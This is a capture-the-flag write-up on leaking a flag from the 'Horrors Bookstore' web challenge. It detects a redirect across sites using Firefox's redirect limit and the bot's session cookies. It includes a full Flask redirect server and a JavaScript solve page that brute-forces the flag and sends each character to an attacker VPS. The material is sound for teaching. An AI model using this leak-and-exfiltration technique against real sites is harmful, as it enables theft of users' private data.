Horrors Bookstore is open…
Source code is given: Horrors_Bookstore.zip
Analysis
Architecture overview
The source code contains two main folders: the challenge, and the bot.
1$ tree
2.
3├── bot
4│ ├── Dockerfile
5│ ├── README.md
6│ ├── entrypoint.sh
7│ └── src
8│ ├── bot.js
9│ ├── package.json
10│ └── utils.js
11├── chall
12│ ├── Dockerfile
13│ ├── app.js
14│ ├── db.js
15│ ├── package.json
16│ ├── public
17│ │ └── css
18│ │ └── style.css
19│ ├── routes
20│ │ ├── auth.js
21│ │ └── books.js
22│ └── views
23│ ├── book.ejs
24│ ├── books.ejs
25│ ├── error.ejs
26│ ├── login.ejs
27│ ├── new_book.ejs
28│ ├── partials
29│ │ ├── footer.ejs
30│ │ └── header.ejs
31│ └── register.ejs
32└── docker-compose.yml
The bookstore has one admin user who owns a book titled “FLAG” containing the challenge flag. Our goal is to exfiltrate its value.
Cross-site cookies behavior
The bot source code launches a Firefox browser when a user sends it a URL. There’s no check on whether the URL points to the challenge, so we can provide it with the URL of an attacker-controlled website.
The bot launches the browser with interesting properties.
1const browser = await puppeteer.launch({
2 browser: "firefox",
3 headless: true,
4 ignoreHTTPSErrors: true,
5 executablePath: "/usr/bin/firefox",
6 extraPrefsFirefox: {
7 "security.sandbox.content.level": 0,
8 "network.cookie.cookieBehavior": 0,
9 "privacy.partition.always_partition_third_party_non_cookie_storage": false,
10 "privacy.trackingprotection.enabled": false,
11 "privacy.trackingprotection.pbmode.enabled": false
12 }
13});
We can see that a lot of security and privacy features are disabled here. The main one is the “Enhanced Tracking Protection”, which is supposed to block cross-site tracking cookies from being sent. With it disabled, an external website can send requests to the challenge with the bot’s cookies, if the cookies’ SameSite policy allows it.
If we then check the application source code, we can see that the session cookies are set with SameSite set to none.
1app.use(session({
2 store: new SQLiteStore({ db: 'sessions.db', dir: '/tmp' }),
3 secret: crypto.randomBytes(27).toString('base64'),
4 resave: false,
5 saveUninitialized: false,
6 cookie: { httpOnly: true, maxAge: 1000 * 60 * 60 * 24, sameSite: "none", secure: true }
7}));
This means that all cross-site requests will include the challenge’s session cookies.
XS Leak from server-side redirect detection
In the challenge, the /books route contains a redirect logic based on the provided query search.
The route’s source code is:
1router.get('/', (req, res) => {
2 const q = (req.query.q || '').trim();
3 let books;
4
5 if (q) {
6 const like = `%${q}%`;
7 books = db.prepare(
8 'SELECT id, title, content FROM books WHERE user_id = ? AND (title LIKE ? OR content LIKE ?) ORDER BY id DESC'
9 ).all(req.session.userId, like, like);
10
11 // Horrifically intelligent search: a single match drags you straight in.
12 if (books.length === 1) {
13 return res.redirect(`/books/${books[0].id}`);
14 }
15 } else {
16 books = db.prepare(
17 'SELECT id, title, content FROM books WHERE user_id = ? ORDER BY id DESC'
18 ).all(req.session.userId);
19 }
20
21 res.render('books', { books, q });
22});
We can see that the server takes the query argument q, searches if there is a book containing this string in the title or the content, and then redirects the user to it if there is exactly one match.
From the admin’s perspective, if the search query is MCTF{0 and the flag starts with the same prefix, the server will find exactly one book and redirect the admin to the book.
Now it’s time for problems…

To detect whether the admin was redirected, we exploited the browser’s maximum redirect limit. Modern browsers enforce a cap on redirect chains to prevent infinite loops. On Firefox, this limit is 20.
From an external page, we can trigger a fetch request that passes through 19 redirects before landing on https://horror-bookstore.midnightflag.fr/books?q=MCTF{0. If the bot’s browser gets a NetworkError on the fetch, it means the bot was redirected one more time, confirming that the search matched exactly one book, and therefore that the flag starts with MCTF{0.
Exploitation
To exploit this XS Leak vulnerability, we used a server serving the solve page and a route to make the redirects. From the source and the challmaker, we knew that the flag format is MCTF{<12 hex chars>}.
First, the server is:
1import flask
2
3app = flask.Flask(__name__)
4
5flag = "MCTF{"
6redirect_count = 0
7char_to_test = ""
8
9@app.get('/')
10def index():
11 global redirect_count, char_to_test
12 redirect_count += 1
13 char = flask.request.args.get("char")
14 if char is not None:
15 char_to_test = char
16 if redirect_count == 20:
17 redirect_count = 0
18 return flask.redirect(f"https://horror-bookstore.midnightflag.fr/books?q={flag}{char_to_test}")
19 else:
20 return flask.redirect("/")
21
22@app.get("/append")
23def char():
24 global flag
25 char = flask.request.args.get("char")
26 flag += char
27 if len(flag) == (5 + 12):
28 flag += "}"
29 print(flag)
30 return ""
31
32@app.get("/solve")
33def solve():
34 return flask.render_template("solve.html")
35
36app.run('0.0.0.0', 9999)
The /solve route serves the page that makes the fetch requests and detects whether they have failed or not.
This page is:
1<!DOCTYPE html>
2<html lang="en">
3<head>
4 <meta charset="UTF-8">
5 <meta name="viewport" content="width=device-width, initial-scale=1.0">
6 <title>Document</title>
7</head>
8<body>
9 <script>
10
11 URL = "http://<vps>:9999"
12
13 async function test(char) {
14 return new Promise((resolve) => {
15 fetch(
16 `${URL}/?char=${char}`,
17 { credentials: "include", mode: "no-cors", cache: "no-store" }
18 )
19 .then(res => res.text())
20 .then(() => resolve(false))
21 .catch(() => resolve(true));
22 });
23 }
24
25 async function append(char) {
26 return new Promise((resolve) => {
27 fetch(
28 `${URL}/append?char=${char}`,
29 { credentials: "include", mode: "no-cors", cache: "no-store" }
30 )
31 .then(res => res.text())
32 .then(() => resolve(true));
33 });
34 }
35
36 async function main() {
37 for (let i = 0; i < 12; i++) {
38 charset = "0123456789abcdef"
39 for (idx in charset) {
40 char = charset[idx];
41 const success = await test(char);
42 if (success === true) {
43 append(char);
44 break;
45 }
46 }
47 }
48 }
49
50 main();
51
52 </script>
53</body>
54</html>
Sending the /solve page to the bot makes it launch the solve script. Once all the characters have been exfiltrated, the flag is printed in the server logs.

Flag
1MCTF{19ea45c54a83}